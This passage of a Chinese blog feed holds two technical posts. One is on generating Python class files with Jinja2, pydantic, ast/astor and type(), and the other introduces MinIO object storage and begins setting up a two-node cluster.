    def {{ method.name }}({{ &amp;#x27;, &amp;#x27;.join(method.args) }}){% if method.return_type %} -&amp;gt; {{ method.return_type }}{% endif %}:
        {% for line in method.body %}
        {{ line }}
        {% endfor %}
    {% endfor %}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zou-3-xuan-ran-bing-bao-cun&quot;&gt;步骤 3：渲染并保存&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;from jinja2 import Template
import time  # 仅用于示例，实际由模板 import

# 读取模板
with open(&amp;quot;class_template.j2&amp;quot;) as f:
    template_str = f.read()

template = Template(template_str)
source_code = template.render(**class_spec)

# 写入文件
with open(&amp;quot;models&amp;#x2F;user.py&amp;quot;, &amp;quot;w&amp;quot;, encoding=&amp;quot;utf-8&amp;quot;) as f:
    f.write(source_code)

print(&amp;quot;✅ 已生成 user.py&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;white-check-mark-shu-chu-user-py&quot;&gt;✅ 输出 &lt;code&gt;user.py&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import time

class User:
    &amp;quot;&amp;quot;&amp;quot;动态生成的用户模型&amp;quot;&amp;quot;&amp;quot;

    # 用户ID
    id: int = 0
    # 用户名
    name: str = &amp;#x27;&amp;#x27;
    email: str | None = None
    _created_at: float = time.time()

    def greet(self) -&amp;gt; str:
        return f&amp;quot;Hello, {self.name}!&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ &lt;strong&gt;优势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;完全可控、可审查&lt;&#x2F;li&gt;
&lt;li&gt;支持复杂逻辑（条件渲染、循环）&lt;&#x2F;li&gt;
&lt;li&gt;模板可版本管理、复用&lt;&#x2F;li&gt;
&lt;li&gt;避免 &lt;code&gt;exec&lt;&#x2F;code&gt; 安全风险&lt;&#x2F;li&gt;
&lt;li&gt;生成代码可通过 &lt;code&gt;flake8&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;black&lt;&#x2F;code&gt; 检查&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;rocket-fang-an-er-pydantic-dong-tai-mo-xing-gua-he-shu-ju-mo-xing&quot;&gt;🚀 方案二：&lt;code&gt;pydantic&lt;&#x2F;code&gt; 动态模型（适合数据模型）&lt;&#x2F;h2&gt;
&lt;p&gt;若你的类本质是&lt;strong&gt;数据载体&lt;&#x2F;strong&gt;（如 API Schema、配置类），直接用 &lt;code&gt;pydantic&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;from pydantic import BaseModel, create_model
from typing import Optional

# 1. 用数据定义字段
fields = {
    &amp;#x27;id&amp;#x27;: (int, 0),
    &amp;#x27;name&amp;#x27;: (str, &amp;#x27;&amp;#x27;),
    &amp;#x27;email&amp;#x27;: (Optional[str], None),
}

# 2. 动态创建模型类
UserModel = create_model(&amp;#x27;User&amp;#x27;, **fields)

# 3. 持久化为代码（利用 pydantic 的 schema 或手动）
import inspect
print(inspect.getsource(UserModel))  # ❌ 不可行！create_model 无源码

# ✅ 正确做法：用 pydantic2 的 `model_json_schema()` + 模板生成
schema = UserModel.model_json_schema()
# 再用模板（同上）生成 class 定义
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或——更优：&lt;strong&gt;用&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;code&gt;datamodel-code-generator&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;工具链&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 从 JSON Schema 生成 pydantic 模型
pip install datamodel-code-generator
datamodel-codegen --input user_schema.json --output user_model.py
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gear-fang-an-san-ast-bian-cheng-gong-ye-ji-100-he-fa-python&quot;&gt;⚙️ 方案三：AST 编程（工业级，100% 合法 Python）&lt;&#x2F;h2&gt;
&lt;p&gt;用 &lt;code&gt;ast&lt;&#x2F;code&gt; 模块构建语法树，确保生成的代码&lt;strong&gt;语法绝对正确&lt;&#x2F;strong&gt;（适合 IDE 插件、代码生成器）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import ast
import astor  # pip install astor 用于 ast -&amp;gt; source

# 构建 class 节点
class_node = ast.ClassDef(
    name=&amp;quot;Config&amp;quot;,
    bases=[],
    keywords=[],
    body=[
        ast.AnnAssign(
            target=ast.Name(id=&amp;quot;debug&amp;quot;, ctx=ast.Store()),
            annotation=ast.Name(id=&amp;quot;bool&amp;quot;, ctx=ast.Load()),
            value=ast.Constant(value=True),
            simple=1
        ),
        ast.AnnAssign(
            target=ast.Name(id=&amp;quot;host&amp;quot;, ctx=ast.Store()),
            annotation=ast.Name(id=&amp;quot;str&amp;quot;, ctx=ast.Load()),
            value=ast.Constant(value=&amp;quot;localhost&amp;quot;),
            simple=1
        ),
    ],
    decorator_list=[]
)

# 包装为模块
module = ast.Module(body=[class_node], type_ignores=[])

# 生成源码
source = astor.to_source(module)
with open(&amp;quot;config.py&amp;quot;, &amp;quot;w&amp;quot;) as f:
    f.write(source)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class Config:
    debug: bool = True
    host: str = &amp;#x27;localhost&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ 优势：无字符串拼接错误，可被 &lt;code&gt;ast.parse()&lt;&#x2F;code&gt; 安全解析
🔧 适用：代码生成工具（如 ORM migration、Protobuf → Python）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;pushpin-sheng-chan-huan-jing-zui-jia-shi-jian-jian-yi&quot;&gt;📌 生产环境最佳实践建议&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;需求&lt;&#x2F;th&gt;&lt;th&gt;推荐方案&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;快速原型 &#x2F; 内部工具&lt;&#x2F;td&gt;&lt;td&gt;Jinja2 模板（+ YAML 配置）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;API&#x2F;数据模型&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;pydantic.create_model&lt;&#x2F;code&gt;+ 代码生成器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IDE 插件 &#x2F; 编译器后端&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ast&lt;&#x2F;code&gt;+&lt;code&gt;astor&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;libcst&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;避免运行时依赖&lt;&#x2F;td&gt;&lt;td&gt;生成&lt;code&gt;.py&lt;&#x2F;code&gt;文件 + Git 提交（而非运行时 exec）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;chestnut-fu-wan-zheng-ke-yun-xing-de-jinja2-shi-li-fu-zhi-ji-yong&quot;&gt;🌰 附：完整可运行的 Jinja2 示例（复制即用）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# generate_class.py
from jinja2 import Template

TEMPLATE = &amp;#x27;&amp;#x27;&amp;#x27;
{%- if imports %}
{{ imports | join(&amp;#x27;\\n&amp;#x27;) }}
{%- endif %}

class {{ name }}:
    &amp;quot;&amp;quot;&amp;quot;{{ docstring }}&amp;quot;&amp;quot;&amp;quot;

{%- for attr in attributes %}
    {%- if attr.comment %}# {{ attr.comment }}{% endif %}
    {{ attr.name }}: {{ attr.type }} = {{ attr.default }}
{%- endfor %}

{%- for method in methods %}
    def {{ method.name }}({{ method.args | join(&amp;#x27;, &amp;#x27;) }}){% if method.return_type %} -&amp;gt; {{ method.return_type }}{% endif %}:
        {%- for line in method.body %}
        {{ line }}
        {%- endfor %}
{%- endfor %}
&amp;#x27;&amp;#x27;&amp;#x27;

def save_class_to_file(spec, filename):
    template = Template(TEMPLATE.strip())
    code = template.render(**spec)
    with open(filename, &amp;quot;w&amp;quot;, encoding=&amp;quot;utf-8&amp;quot;) as f:
        f.write(code + &amp;quot;\n&amp;quot;)
    print(f&amp;quot;✅ Saved to {filename}&amp;quot;)

# 使用
spec = {
    &amp;quot;name&amp;quot;: &amp;quot;DBConfig&amp;quot;,
    &amp;quot;docstring&amp;quot;: &amp;quot;数据库配置类&amp;quot;,
    &amp;quot;imports&amp;quot;: [&amp;quot;from typing import Optional&amp;quot;],
    &amp;quot;attributes&amp;quot;: [
        {&amp;quot;name&amp;quot;: &amp;quot;host&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;str&amp;quot;, &amp;quot;default&amp;quot;: &amp;quot;&amp;#x27;localhost&amp;#x27;&amp;quot;},
        {&amp;quot;name&amp;quot;: &amp;quot;port&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;, &amp;quot;default&amp;quot;: &amp;quot;5432&amp;quot;},
        {&amp;quot;name&amp;quot;: &amp;quot;password&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;Optional[str]&amp;quot;, &amp;quot;default&amp;quot;: &amp;quot;None&amp;quot;, &amp;quot;comment&amp;quot;: &amp;quot;建议使用环境变量&amp;quot;},
    ],
    &amp;quot;methods&amp;quot;: [
        {
            &amp;quot;name&amp;quot;: &amp;quot;url&amp;quot;,
            &amp;quot;args&amp;quot;: [&amp;quot;self&amp;quot;],
            &amp;quot;return_type&amp;quot;: &amp;quot;str&amp;quot;,
            &amp;quot;body&amp;quot;: [
                &amp;quot;return f&amp;#x27;postgresql:&amp;#x2F;&amp;#x2F;user:{self.password}@{self.host}:{self.port}&amp;#x2F;db&amp;#x27;&amp;quot;
            ]
        }
    ]
}

save_class_to_file(spec, &amp;quot;db_config.py&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行后生成 &lt;code&gt;db_config.py&lt;&#x2F;code&gt; ✅&lt;&#x2F;p&gt;
&lt;p&gt;需要我帮你：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;做一个 &lt;strong&gt;YAML → Python 类&lt;&#x2F;strong&gt; 的完整工具？&lt;&#x2F;li&gt;
&lt;li&gt;生成 &lt;code&gt;dataclass&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;pydantic&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;attrs&lt;&#x2F;code&gt; 专用模板？&lt;&#x2F;li&gt;
&lt;li&gt;支持从数据库表结构反向生成 Model？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;欢迎告诉我你的具体场景，我可以定制方案！&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-type-dong-tai-chuang-jian-lei&quot;&gt;使用 &lt;code&gt;type()&lt;&#x2F;code&gt; 动态创建类&lt;&#x2F;h3&gt;
&lt;p&gt;您无需生成代码文件，可以直接在内存中创建和使用类。&lt;code&gt;type()&lt;&#x2F;code&gt; 函数可以动态地创建类，这比 &lt;code&gt;exec()&lt;&#x2F;code&gt; 更安全、更具结构性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;type(name, bases, dict)&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;name&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;: 类的名称 (字符串)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;bases&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;: 继承的父类（元组）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dict&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;: 类的属性和方法（字典）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Python&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# 动态数据
class_name = &amp;quot;ConfigurableProcessor&amp;quot;
# 动态添加的方法
def run(self, data):
    return f&amp;quot;Processing data: {data}&amp;quot;

# 动态创建类的方法字典
class_methods = {
    &amp;#x27;docstring&amp;#x27;: &amp;#x27;一个基于配置动态创建的处理器。&amp;#x27;,
    &amp;#x27;version&amp;#x27;: &amp;#x27;1.0&amp;#x27;,
    &amp;#x27;run&amp;#x27;: run  # 添加 run 方法
}

# 使用 type() 动态创建类
DynamicClassInMemory = type(
    class_name,  # 类名
    (object,),   # 继承自 object
    class_methods # 方法和属性
)

# 立即使用这个在内存中创建的类
processor = DynamicClassInMemory()
print(processor.run(&amp;quot;report_A&amp;quot;))
# 检查类名和属性
print(f&amp;quot;Class Name: {processor.__class__.__name__}&amp;quot;)
print(f&amp;quot;Class Version: {processor.version}&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;jinja-chu-li-zi-ding-yi-lei-xing&quot;&gt;Jinja 处理自定义类型&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;gei-zi-ding-yi-lei-xing-shi-xian-repr-rang-mo-ban-zhi-jie-shi-yong&quot;&gt;给自定义类型实现 &lt;code&gt;__repr__&lt;&#x2F;code&gt;，让模板直接使用&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class Age:
    def __init__(self, years): self.years = years

    def __repr__(self):
        return f&amp;quot;Age({self.years})&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;jinja&quot; class=&quot;language-jinja &quot;&gt;&lt;code class=&quot;language-jinja&quot; data-lang=&quot;jinja&quot;&gt;class User:
    age = {{ age_value }}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shi-yong-jinja-filter-zi-ding-yi-xu-lie-hua-fang-shi-tui-jian&quot;&gt;使用 Jinja Filter 自定义序列化方式（推荐）&lt;&#x2F;h2&gt;
&lt;p&gt;如果你不想污染你的类（例如第三方类），你可以给 Jinja2 注册一个 filter：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def to_code(val):
    if hasattr(val, &amp;quot;to_code&amp;quot;):
        return val.to_code()  # 推荐方式
    return repr(val)

from jinja2 import Environment, FileSystemLoader

env = Environment(loader=FileSystemLoader(&amp;quot;.&amp;quot;))
env.filters[&amp;quot;to_code&amp;quot;] = to_code
template = env.get_template(&amp;quot;model.j2&amp;quot;)

class User:
    age = {{ age | to_code }}

class Age:
    def __init__(self, years): self.years = years
    def to_code(self):
        return f&amp;quot;Age({self.years})&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>什么是Minio？如何搭建Minio集群</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/什么是minio-如何搭建minio集群/"/>
        <id>https://vercel.juzhong.asia/obsidian/什么是minio-如何搭建minio集群/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/什么是minio-如何搭建minio集群/">&lt;h1 id=&quot;shen-me-shi-minio-ru-he-da-jian-minioji-qun&quot;&gt;什么是Minio？如何搭建Minio集群&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yi-miniojie-shao&quot;&gt;一、Minio介绍&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-miniojian-jie&quot;&gt;1.1 Minio简介&lt;&#x2F;h3&gt;
&lt;p&gt;MinIO 是高性能的对象存储，是为海量数据存储、人工智能、大数据分析而设计的，它完全兼容Amazon &lt;strong&gt;S3&lt;&#x2F;strong&gt;接口，单个对象最大可达5TB，适合存储海量图片、视频、日志文件、备份数据和容器&#x2F;虚拟机镜像等。MinIO主要采&lt;strong&gt;用Golang&lt;&#x2F;strong&gt;语言实现，，客户端与存储服务器之间采用&lt;strong&gt;http&#x2F;https&lt;&#x2F;strong&gt;通信协议。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-bu-shu-fang-shi&quot;&gt;1.2 部署方式：&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;单机部署&lt;&#x2F;li&gt;
&lt;li&gt;分布式部署&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-3-minioguan-wang&quot;&gt;1.3 Minio官网&lt;&#x2F;h3&gt;
&lt;h6 id=&quot;1-shou-ye&quot;&gt;1、首页&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;https:&amp;#x2F;&amp;#x2F;min.io
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;minio-cluster&#x2F;minio-website-homepage.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-xia-zai&quot;&gt;2、下载&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;https:&amp;#x2F;&amp;#x2F;min.io&amp;#x2F;download
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;minio-cluster&#x2F;minio-download-page.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-zhong-wen-wen-dang&quot;&gt;3、中文文档&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;arduino&quot; class=&quot;language-arduino &quot;&gt;&lt;code class=&quot;language-arduino&quot; data-lang=&quot;arduino&quot;&gt;http:&amp;#x2F;&amp;#x2F;docs.minio.org.cn&amp;#x2F;docs&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;minio-cluster&#x2F;minio-docs-page.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-minioji-qun&quot;&gt;二、Minio集群&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-minioji-qun-yuan-li&quot;&gt;2.1 Minio集群原理&lt;&#x2F;h3&gt;
&lt;p&gt;MinIO分布式集群是指在多个服务器节点均部署MinIO服务，并将其组建为分布式存储集群，对外提供标准S3接口以进行统一访问。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;minio-cluster&#x2F;minio-cluster-architecture.webp&quot; alt=&quot;MinIO分布式集群架构&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;MinIO集群采用去中心化无共享架构，各节点间为对等关系，连接至任一节点均可实现对集群的访问。在我们的方案中还选择了Nginx的轮询实现各个节点的负载均衡。&lt;&#x2F;p&gt;
&lt;p&gt;数据对象在MinIO集群中进行存储时，先进行纠删分片，后打散存储在各硬盘上。具体为：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;MinIO自动在集群内生成若干纠删组，每个纠删组包含一组硬盘，其数量通常为4至16块；&lt;&#x2F;li&gt;
&lt;li&gt;对数据对象进行分片，默认策略是得到相同数量的数据分片和校验分片；&lt;&#x2F;li&gt;
&lt;li&gt;而后通过哈希算法计算出该数据对象对应的纠删组，并将数据和校验分片存储至纠删组内的硬盘上。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;minio-cluster&#x2F;minio-erasure-coding-shards.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;假设某MinIO集群内纠删组包含4块硬盘，某数据对象名为MyObject，其隶属存储桶名为MyBucket，哈希计算得到对应的纠删组为Disk 1&lt;sub&gt;4。那么在Disk 1&lt;&#x2F;sub&gt;4的数据路径下，都会生成MyBucket&#x2F;MyObject子路径，子路径中包含2个文件，分别为存储元数据信息的xl.meta和MyObject对象在该盘上的第一个分片part.1。其中，xl表示MinIO中数据对象的默认存储格式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-shu-yu-jie-shi&quot;&gt;2.2 术语解释&lt;&#x2F;h3&gt;
&lt;h6 id=&quot;1-s3&quot;&gt;1、S3&lt;&#x2F;h6&gt;
&lt;p&gt;Simple Storage Service，简单存储服务，这个概念是Amazon在2006年推出的，对象存储就是从那个时候诞生的。S3提供了一个简单Web服务接口，可用于随时在Web上的任何位置存储和检索任何数量的数据。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-object&quot;&gt;2、Object&lt;&#x2F;h6&gt;
&lt;p&gt;存储到 Minio 的基本对象，如文件、字节流，Anything...&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-bucket&quot;&gt;3、Bucket&lt;&#x2F;h6&gt;
&lt;p&gt;用来存储 Object 的逻辑空间。每个 Bucket 之间的数据是相互隔离的。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;4-drive&quot;&gt;4、Drive&lt;&#x2F;h6&gt;
&lt;p&gt;部署 Minio 时设置的磁盘，Minio 中所有的对象数据都会存储在 Drive 里。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;5-set&quot;&gt;5、Set&lt;&#x2F;h6&gt;
&lt;p&gt;一组 Drive 的集合，分布式部署根据集群规模自动划分一个或多个 Set ，每个 Set 中的 Drive 分布在不同位置。一个对象存储在一个 Set 上。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-jiu-shan-ma&quot;&gt;2.3 纠删码&lt;&#x2F;h3&gt;
&lt;p&gt;纠删码是一种恢复丢失和损坏数据的数学算法，目前，纠删码技术在分布式存储系统中的应用主要有三类，阵列纠删码（Array Code: RAID5、RAID6等）、RS(Reed-Solomon)里德-所罗门类纠删码和LDPC(LowDensity Parity Check Code)低密度奇偶校验纠删码。Erasure Code是一种编码技术，它可以将n份原始数据，增加m份校验数据，并能通过n+m份中的任意n份原始数据，还原为原始数据。即如果有任意小于等于m份的校验数据失效，仍然能通过剩下的数据还原出来。&lt;&#x2F;p&gt;
&lt;p&gt;Minio采用Reed-Solomon code将对象拆分成N&#x2F;2数据和N&#x2F;2 奇偶校验块。&lt;&#x2F;p&gt;
&lt;p&gt;在同一集群内，MinIO 自己会自动生成若干纠删组（Set），用于分布存放桶数据。一个纠删组中的一定数量的磁盘发生的故障（故障磁盘的数量小于等于校验盘的数量），通过纠删码校验算法可以恢复出正确的数据。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-minioji-qun-da-jian&quot;&gt;2.4 Minio集群搭建&lt;&#x2F;h3&gt;
&lt;p&gt;有两台服务器：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;192.168.3.17&lt;&#x2F;li&gt;
&lt;li&gt;192.168.3.18&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;1-zai-mei-tai-fu-wu-qi-shang-chuang-jian-miniomu-lu&quot;&gt;1、在每台服务器上创建minio目录&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;arduino&quot; class=&quot;language-arduino &quot;&gt;&lt;code class=&quot;language-arduino&quot; data-lang=&quot;arduino&quot;&gt;mkdir -p &amp;#x2F;home&amp;#x2F;minio&amp;#x2F;{run,data1,data2} &amp;amp;&amp;amp; mkdir -p &amp;#x2F;etc&amp;#x2F;minio
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;2-xia-zai-huo-zhe-shang-chuan-xia-zai-hao-de-minioer-jin-zhi-wen-jian&quot;&gt;2、下载或者上传下载好的minio二进制文件&lt;&#x2F;h6&gt;
&lt;p&gt;官网下载地址：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;https:&amp;#x2F;&amp;#x2F;dl.min.io&amp;#x2F;server&amp;#x2F;minio&amp;#x2F;release&amp;#x2F;linux-amd64&amp;#x2F;minio
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;3-ji-qun-qi-dong-wen-jian-pei-zhi&quot;&gt;3、集群启动文件配置&lt;&#x2F;h6&gt;
&lt;p&gt;Minio默认9000端口，在配置文件中加入–address “127.0.0.1:9029” 可更改端口&lt;&#x2F;p&gt;
&lt;p&gt;注意 ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MINIO_ACCESS_KEY：用户名，长度最小是5个字符&lt;&#x2F;li&gt;
&lt;li&gt;MINIO_SECRET_KEY：密码，密码不能设置过于简单，不然minio会启动失败，长度最小是8个字符&lt;&#x2F;li&gt;
&lt;li&gt;–config-dir：指定集群配置文件目录&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;arduino&quot; class=&quot;language-arduino &quot;&gt;&lt;code class=&quot;language-arduino&quot; data-lang=&quot;arduino&quot;&gt;vim &amp;#x2F;home&amp;#x2F;minio&amp;#x2F;run&amp;#x2F;minio-run.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;集群节点192.168.3.17内容为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
export MINIO_ACCESS_KEY=admin
export MINIO_SECRET_KEY=admin123
&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;run&amp;#x2F;minio server --config-dir &amp;#x2F;etc&amp;#x2F;minio \
--address &amp;quot;192.168.3.17:9000&amp;quot; \
http:&amp;#x2F;&amp;#x2F;192.168.3.17&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data1 http:&amp;#x2F;&amp;#x2F;192.168.3.17&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data2 \
http:&amp;#x2F;&amp;#x2F;192.168.3.18&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data1 http:&amp;#x2F;&amp;#x2F;192.168.3.18&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data2 \
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;集群节点192.168.3.18内容为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
export MINIO_ACCESS_KEY=admin
export MINIO_SECRET_KEY=admin123
&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;run&amp;#x2F;minio server --config-dir &amp;#x2F;etc&amp;#x2F;minio \
--address &amp;quot;192.168.3.18:9000&amp;quot; \
http:&amp;#x2F;&amp;#x2F;192.168.3.17&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data1 http:&amp;#x2F;&amp;#x2F;192.168.3.17&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data2 \
http:&amp;#x2F;&amp;#x2F;192.168.3.18&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data1 http:&amp;#x2F;&amp;#x2F;192.168.3.18&amp;#x2F;home&amp;#x2F;minio&amp;#x2F;data2 \
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;4-chuang-jian-minio-server-jiang-miniojia-ru-xi-tong-fu-wu&quot;&gt;4、创建Minio.server,将minio加入系统服务&lt;&#x2F;h6&gt;
